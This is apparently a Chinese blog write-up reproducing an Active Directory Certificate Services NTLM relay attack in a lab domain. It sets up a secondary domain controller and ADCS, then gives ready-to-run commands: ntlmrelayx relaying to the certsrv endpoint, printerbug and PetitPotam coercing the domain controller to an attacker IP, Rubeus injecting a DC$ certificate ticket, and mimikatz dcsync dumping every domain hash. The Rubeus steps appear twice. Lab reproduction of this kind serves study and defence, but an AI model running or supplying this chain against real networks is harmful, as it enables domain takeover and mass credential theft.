目录
检查域控机和辅域控机是否在Domain Computers组里
1 安装证书服务
参考之前的方法安装ADCS服务https://blog.csdn.net/qq_38376348/article/details/119619726
将ADCS辅域控
一路Next,勾选Active Directory域服务
一路next,点击安装后跳到这个界面
next
DSRM密码
![](https://img-blog.csdnimg.cn/066910978dcc4e2a8a69986016d2c612.png)
选择从主域复制
next
之后会重启操作系统
检查域控机和辅域控机是否在Domain Computers组里
检查域控机和辅域控机是否在Domain Computers组里,不在的话需要手动加入,否则漏洞利用会失败
未加入前报错
将主、辅域控计算机账户加入计算机账户到Domain Computers
加入后
安装ADCS证书服务
之后安装ADCS服务参考 AD CS安装_Adsatrtgo的博客-CSDN博客
最后确认目标ADCSweb开启
2 复现过程
使用最新版本的Impacket包
监听认证请求,并且转发给ADCS服务
python3 ntlmrelayx.py -t http://10.211.55.7/certsrv/certfnsh.asp -smb2support --adcs
触发NTLM认证
让目标域控(10.211.55.3)向攻击机(192.168.0.102)主动发起NTLM认证
python3 printerbug.py hacktest/win7:'password'@10.211.55.3 192.168.0.102
具体还有其他触发连接方式
https://github.com/topotam/PetitPotam
#格式:
python Petitpotam.py -d domain -u username -p password <ntlmrelayx listen ip> <dc ip>
https://github.com/NotMedic/NetNTLMtoSilverTicket
#格式:
python dementor.py -d domain -u username -p password <ntlmrelayx listen ip> <dc ip>
使用Rubeus导入当前票据,访问域控服务,Rubeus需要.NET 4.8
下载 .NET Framework 4.8 Web Installer
工具地址 https://github.com/GhostPack/Rubeus
使用方法
#格式:
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
#示例:
Rubeus.exe asktgt /user:DC$ /certificate:xxxxxxxxx /ptt
注入票据后
可以用klist查看
未注入票据之前可能会有一些缓存票据,清除一下
klist purge
注入票据
工具地址 https://github.com/GhostPack/Rubeus
使用方法
#格式:
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
#示例:
Rubeus.exe asktgt /user:DC$ /certificate:xxxxxxxxx /ptt
注入票据后
可以用klist查看
导出域内所有哈希
mimikatz.exe
lsadump::dcsync /domain:hacktest.com /all /csv
复现过程中可能会遇到的报错KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type
解决办法可以参考:
CVE-2022–26923 AD CS 權限提升 - Keniver's Blog
What's New in Kerberos Authentication | Microsoft Docs
域控组策略:Computer Configuration -> Administrative Templates (Computers) -> System -> KDC
,將 KDC support for PKInit Freshness Extension
参考:
ADCS攻击利用_Slash_HK的博客-CSDN博客_adcs攻击
ADCS证书服务攻击_谢公子的博客-CSDN博客_adcs攻击
AD CS证书服务中继攻击_`GGyao的博客-CSDN博客_ad cs
利用黄金证书劫持域控 - 腾讯云开发者社区-腾讯云